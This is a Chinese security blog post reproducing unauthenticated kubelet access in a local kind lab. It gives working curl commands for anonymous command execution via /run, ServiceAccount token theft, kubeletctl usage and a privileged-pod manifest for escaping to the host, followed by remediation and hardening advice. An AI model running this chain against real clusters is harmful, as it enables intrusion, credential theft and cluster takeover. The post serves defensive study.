云原生未授权系列之kubelet未授权:匿名执行节点命令
原创
0x00
0x00
随笔漫记安全路
2026年8月21日 08:45
北京
在小说阅读器读本章
去阅读
声明:本文针对的是已公开、有官方修复方案的配置类安全问题(kubelet 未授权访问)。所有操作均在本地靶机环境中完成,仅用于安全研究与防御学习。请勿对未授权目标进行测试。
一、漏洞背景
1.1 kubelet 是什么
Kubernetes 集群里,每个节点上都跑着一个 kubelet 进程。它是节点的\"大管家\"——master 通过它告诉节点\"该起哪个 Pod、该删哪个 Pod\",它就照着执行,并定期汇报节点和 Pod 的状态。
kubelet 不是被动等命令,它自己还开了一个 API 服务,监听两个端口:
| 端口 | 协议 | 作用 |
|---|---|---|
| 10250 | HTTPS | kubelet 主 API,提供最敏感的操作端点 |
| 10255 | HTTP | 只读端点(只读端口,已在新版本废弃) |
10250 上有几个极其敏感的端点:
/pods—— 列出该节点上所有 Pod(含环境变量、挂载、ServiceAccount Token 路径)/run/{namespace}/{pod}/{container}—— 在指定容器里执行命令/exec、/attach、/portForward—— 交互式执行/端口转发/logs—— 读容器日志
正常情况下,访问 10250 必须通过认证 + 授权(Webhook 模式,由 kube-apiserver 校验)。但当配置不当时,匿名用户也能调这些端点——等于在节点上白捡一个命令执行。
1.2 漏洞成因
kubelet 的认证授权由两个配置控制:
# /var/lib/kubelet/config.yaml
authentication:
anonymous:
enabled: true # 允许匿名访问(漏洞根因之一)
authorization:
mode: AlwaysAllow # 授权全放行(漏洞根因之二)
anonymous.enabled: true—— 不带 token 也能连,身份是system:anonymousauthorization.mode: AlwaysAllow—— 任何请求都允许
这两个一叠加,10250 就完全裸奔了。运维通常不会主动这么配,但老旧集群、自建集群、或者为了\"排障临时关掉认证忘改回来\",都会踩这个坑。
1.3 危害
匿名拿到 10250 后:
/pods列出节点所有 Pod,从环境变量/挂载里捞 ServiceAccount Token/run在容器里执行命令,直接拿到 shell- 用偷来的 Token 打 kube-apiserver,横向到整个集群
危害等级:高危
二、利用条件
| 条件 | 说明 | 本复现是否满足 |
|---|---|---|
| 10250 网络可达 | 攻击者能连到节点 kubelet 端口(内网可达 / 误暴露) | ✅ kind 映射端口 |
| anonymous-auth=true | 允许匿名连接,这是漏洞根因,非默认配置 | ✅ 手动改配置复现 |
| 授权放行(AlwaysAllow 或 RBAC 过宽) | 匿名身份能调 /run、/pods |
✅ 改成 AlwaysAllow 复现 |
| 无需受害者交互 | 攻击者主动连接即可 | ✅ 纯主动利用 |
| 无需任何凭证 | 不需要 token/证书 | ✅ 零认证 |
| 节点上有可用的 Pod | /run 需要指定一个真实存在的 Pod/容器 |
✅ 集群默认就有 |
关键判断:这不是默认可利用的漏洞,而是配置错误(关认证 + 授权放行)叠加后才触发。但一旦触发,从 /run 命令执行到拿集群控制权几乎没有门槛。
默认配置是否安全:kubeadm / kind 默认 anonymous.enabled: false,授权用 Webhook(由 apiserver 校验),默认是安全的。出问题的一定是被人改过配置或用了不规范的老集群。
三、环境搭建
用 kind 建集群,再\"刻意复现\"kubelet 匿名访问的配置。
3.1 创建集群
cat > kind-kubelet.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
extraPortMappings:
- containerPort: 10250
hostPort: 10250
- containerPort: 6443
hostPort: 6443
EOF
kind create cluster --config kind-kubelet.yaml --name kubelet-lab
验证:
kubectl get nodes
# NAME STATUS ROLES AGE VERSION
# kubelet-lab-control-plane Ready control-plane 1m v1.29.x
3.2 复现漏洞:开启匿名访问
进入控制面节点:
docker exec -it kubelet-lab-control-plane bash
查看 kubelet 当前配置:
cat /var/lib/kubelet/config.yaml | grep -A3 -i \"anonymous\\|authorization\"
正常应该看到 anonymous.enabled: false、authorization.mode: Webhook。改成漏洞配置:
# 备份
cp /var/lib/kubelet/config.yaml /var/lib/kubelet/config.yaml.bak
# 用 sed 改两处
sed -i 's/enabled: false/enabled: true/' /var/lib/kubelet/config.yaml
sed -i 's/mode: Webhook/mode: AlwaysAllow/' /var/lib/kubelet/config.yaml
kind 节点内没有 systemd,直接 kill 进程让 kubelet 重启加载新配置:
# 找到 kubelet 进程并杀掉,它会被自动拉起
pkill kubelet
# 等几秒确认重启
ps -ef | grep kubelet | grep -v grep
exit
3.3 验证匿名访问已生效
# 不带任何 token/证书,直连 10250 的 /pods
curl -sk https://127.0.0.1:10250/pods | head -c 500
# 能返回一大串 JSON(节点上所有 Pod 信息),说明匿名访问已开启
正常加固的 kubelet,匿名访问
/pods会返回403 Forbidden;能返回数据即说明裸奔。
四、漏洞复现
攻击链全景
[1] 发现 10250 开放
│
[2] curl /pods 验证匿名访问 → 拿到节点所有 Pod 信息
│
[3] 从 Pod 信息里提取目标 namespace/pod/container
│
[4] curl /run/{ns}/{pod}/{container} → 在容器里执行命令
│
[5] 读 ServiceAccount Token → 横向打 kube-apiserver
│
[6] 用 token 创建特权 Pod → 逃逸宿主机 → 接管集群
4.1 信息收集:发现 10250
nmap -p 10250,10255 127.0.0.1
# 10250/tcp open ssl/http
10250 开放即高度可疑——这个端口只该对控制面开放。
4.2 验证匿名访问
# 列出节点上所有 Pod
curl -sk https://127.0.0.1:10250/pods > /tmp/pods.json
# 看看有哪些 Pod
python3 -c \"
import json
data = json.load(open('/tmp/pods.json'))
for item in data['items']:
meta = item['metadata']
print(f\\\"{meta['namespace']}/{meta['name']}\\\")
\"
输出类似:
kube-system/coredns-xxxxx
kube-system/etcd-kubelet-lab-control-plane
kube-system/kube-apiserver-xxxxx
default/...
/pods返回的信息里还包含每个容器的环境变量和挂载点——/var/run/secrets/kubernetes.io/serviceaccount这种路径就在里面,等于把\"哪里有 Token\"也告诉你了。
4.3 远程执行命令(核心)
kubelet 的 /run 端点可以在指定容器里执行命令。先挑一个 Pod(比如 kube-system 里随便一个):
# 提取一个目标 Pod
POD=$(python3 -c \"
import json
data = json.load(open('/tmp/pods.json'))
print(data['items'][0]['metadata']['name'])
\")
NS=$(python3 -c \"
import json
data = json.load(open('/tmp/pods.json'))
print(data['items'][0]['metadata']['namespace'])
\")
CONTAINER=$(python3 -c \"
import json
data = json.load(open('/tmp/pods.json'))
print(data['items'][0]['spec']['containers'][0]['name'])
\")
echo \"目标: $NS/$POD/$CONTAINER\"
执行命令:
# 在该容器里执行 id
curl -sk -XPOST \\
\"https://127.0.0.1:10250/run/$NS/$POD/$CONTAINER\" \\
-d \"cmd=id\"
# 返回: uid=0(root) 之类的
cmd 参数就是要执行的命令。到这一步,你已经在节点上的容器里拥有了命令执行能力,完全匿名,无需任何凭证。
4.4 偷 ServiceAccount Token 横向到 apiserver
每个 Pod 默认都挂载了所在 namespace 的 ServiceAccount Token。通过 /run 读取它:
# 读 token
TOKEN=$(curl -sk -XPOST \\
\"https://127.0.0.1:10250/run/$NS/$POD/$CONTAINER\" \\
-d \"cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token\")
echo \"$TOKEN\" | head -c 50
# eyJhbGciOiJSUzI1NiIs...
用这个 token 打 kube-apiserver:
kubectl --server=https://127.0.0.1:6443 \\
--insecure-skip-tls-verify \\
--token=\"$TOKEN\" \\
get pods --all-namespaces
能列 Pod,说明 token 有效,已经横向到了集群 API 层。
4.5 用工具自动化(kubeletctl)
手动 curl 比较繁琐,社区有现成工具 kubeletctl(https://github.com/cyberark/kubeletctl[1]):
# 扫描集群所有节点的 kubelet 是否匿名可访问
kubeletctl scan --server 127.0.0.1
# 列出所有 Pod
kubeletctl pods --server 127.0.0.1
# 在指定容器执行命令
kubeletctl exec --server 127.0.0.1 \\
--namespace $NS --pod $POD --container $CONTAINER \\
--command \"cat /var/run/secrets/kubernetes.io/serviceaccount/token\"
kubeletctl scan 能一键识别整个集群哪些节点 kubelet 裸奔,实战中常用。
4.6 进一步:拿集群控制权
如果偷到的 ServiceAccount 权限足够(比如绑了 cluster-admin,这种过度授权在现实中很常见),直接创建特权 Pod 逃逸宿主机——和 etcd 篇、Docker 篇的后段完全一样:
kubectl --server=https://127.0.0.1:6443 \\
--insecure-skip-tls-verify \\
--token=\"$TOKEN\" apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: pwn
namespace: default
spec:
hostPID: true
nodeSelector:
kubernetes.io/hostname: kubelet-lab-control-plane
tolerations:
- key: node-role.kubernetes.io/control-plane
operator: Exists
containers:
- name: pwn
image: alpine
command: [\"sleep\",\"3600\"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
EOF
Pod 起来后 nsenter --target 1 逃逸到宿主机,读 /etc/kubernetes/admin.conf 接管集群。至此完成 kubelet 未授权 → 节点命令执行 → 集群接管 的完整链路。
五、关键点解读
5.1 为什么 kubelet 匿名 = 节点失守
kubelet 的 /run 端点本质是\"在容器里执行任意命令\"。虽然命令在容器内执行(受容器隔离),但:
- 容器里通常有 ServiceAccount Token,偷出来就能横向到 apiserver
- 如果选中的 Pod 本身是特权 Pod(如一些监控 agent),命令执行可能直接波及宿主机
/pods泄露的 Pod 信息含环境变量,大量密码/key 直接暴露
所以匿名 kubelet 是\"节点级命令执行 + 集群横向\"的跳板,危害介于 Docker API(单机)和 etcd(全集群)之间。
5.2 和系列前两篇的区别
| 维度 | etcd 未授权 | Docker API 未授权 | kubelet 未授权 |
|---|---|---|---|
| 入口 | etcd 2379 | dockerd 2375 | kubelet 10250 |
| 直接危害 | 偷集群数据 | 拿单台宿主机 shell | 节点容器命令执行 |
| 横向能力 | 强(Token 直接打 apiserver) | 弱(限单机) | 强(偷 token 打 apiserver) |
| 利用门槛 | 中(需从 etcd 解 JWT) | 低(一条 docker run) | 中(需构造 /run 请求) |
三者各有侧重,放在一起正好覆盖了云原生攻击面的三种典型路径。
六、踩坑记录
| 问题 | 原因 | 解决 |
|---|---|---|
curl /pods 返回 403 |
anonymous-auth 还是 false,或授权是 Webhook | 确认 config.yaml 改成了 enabled: true + mode: AlwaysAllow,并重启 kubelet |
pkill kubelet 后没重启 |
kind 节点内 kubelet 不是 systemd 管的 | kind 的 kubelet 是静态进程,kill 后由容器内的 supervisor 拉起;若没拉起,docker restart 节点容器 |
/run 返回空 |
cmd 参数没传对,或 Pod 名/容器名拼错 | /run/{ns}/{pod}/{container} 路径要精确,从 /pods 输出里复制 |
/run 报 container not found |
Pod 里有多个容器,只指定了第一个 | 用 /pods 确认所有容器名,指定正确的那个 |
| 偷的 token 用不了 | 1.24+ 的 SA token 是 BoundServiceAccountToken,有受众和过期限制 | 选 kube-system 里长期运行的 Pod(如 coredns),token 更稳定 |
kubectl 用 token 报 Unauthorized |
apiserver 启用了 --anonymous-auth=false 且 token 过期 |
换一个 Pod 重偷;apiserver 的 anonymous 和 kubelet 的是两回事 |
七、修复与防御
7.1 立即修复(根治)
# /var/lib/kubelet/config.yaml
authentication:
anonymous:
enabled: false # 关闭匿名访问
webhook:
enabled: true # 用 webhook 认证(由 apiserver 校验 token)
authorization:
mode: Webhook # 用 webhook 授权(由 apiserver 校验 RBAC)
改完重启 kubelet。这样 10250 必须带有效 token 才能访问,匿名请求直接 401。
7.2 纵深防御
| 层面 | 措施 |
|---|---|
| 网络隔离 | 10250 仅允许控制面节点访问,对业务网/公网全部拒绝 |
| RBAC 收敛 | 即便认证绕过,最小权限 RBAC 也能限制能操作的资源;定期审计 clusterrolebindings |
| NodeRestriction 准入 | 启用 --enable-admission-plugins=NodeRestriction,限制 kubelet 只能操作自己节点上的资源,不能越权 |
| Token 短期化 | 升级到 BoundServiceAccountToken(有过期 + 受众绑定),偷到的 token 很快失效 |
| 审计日志 | 开启 apiserver audit,监控匿名访问 10250、异常 /run 调用 |
| 定期扫描 | 用 kube-bench 跑 CIS 基线;用 kubeletctl scan 巡检所有节点 |
7.3 快速自检命令
# 1. 检查 kubelet 是否关了匿名访问
docker exec kubelet-lab-control-plane \\
grep -A2 \"anonymous\" /var/lib/kubelet/config.yaml
# 期望: enabled: false
# 2. 检查授权模式
docker exec kubelet-lab-control-plane \\
grep \"mode\" /var/lib/kubelet/config.yaml
# 期望: mode: Webhook
# 3. 从外部测试 10250 匿名访问(在非控制面机器执行)
curl -sk https://x.x.x.x:10250/pods
# 期望: 403 Forbidden 或 Connection refused
八、总结
| 阶段 | 攻击者动作 | 防御者应做 |
|---|---|---|
| 入口 | 扫描发现 10250 开放 | 10250 网络隔离,仅控制面可达 |
| 突破 | 匿名 curl /pods 拿 Pod 信息 | anonymous-auth=false + Webhook 授权 |
| 执行 | /run 在容器里执行命令 | NodeRestriction 限制 kubelet 越权 |
| 横向 | 偷 SA Token 打 apiserver | Token 短期化 + RBAC 最小权限 |
| 接管 | 创建特权 Pod 逃逸 | PodSecurity 拒绝 privileged/hostPID |
核心结论:kubelet 10250 匿名访问是\"节点级命令执行 + 集群横向\"的典型路径。修复成本极低(关匿名 + Webhook 授权),但一旦疏忽,从节点执行到集群接管几乎没有门槛。务必作为集群安全基线的必查项。
参考
- Kubernetes 官方文档 - kubelet 认证授权:https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/[2]
- kubeletctl 工具:https://github.com/cyberark/kubeletctl[3]
- CIS Kubernetes Benchmark(kubelet 相关条目)
引用链接
[1]https://github.com/cyberark/kubeletctl
[2]https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/
[3]https://github.com/cyberark/kubeletctl
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论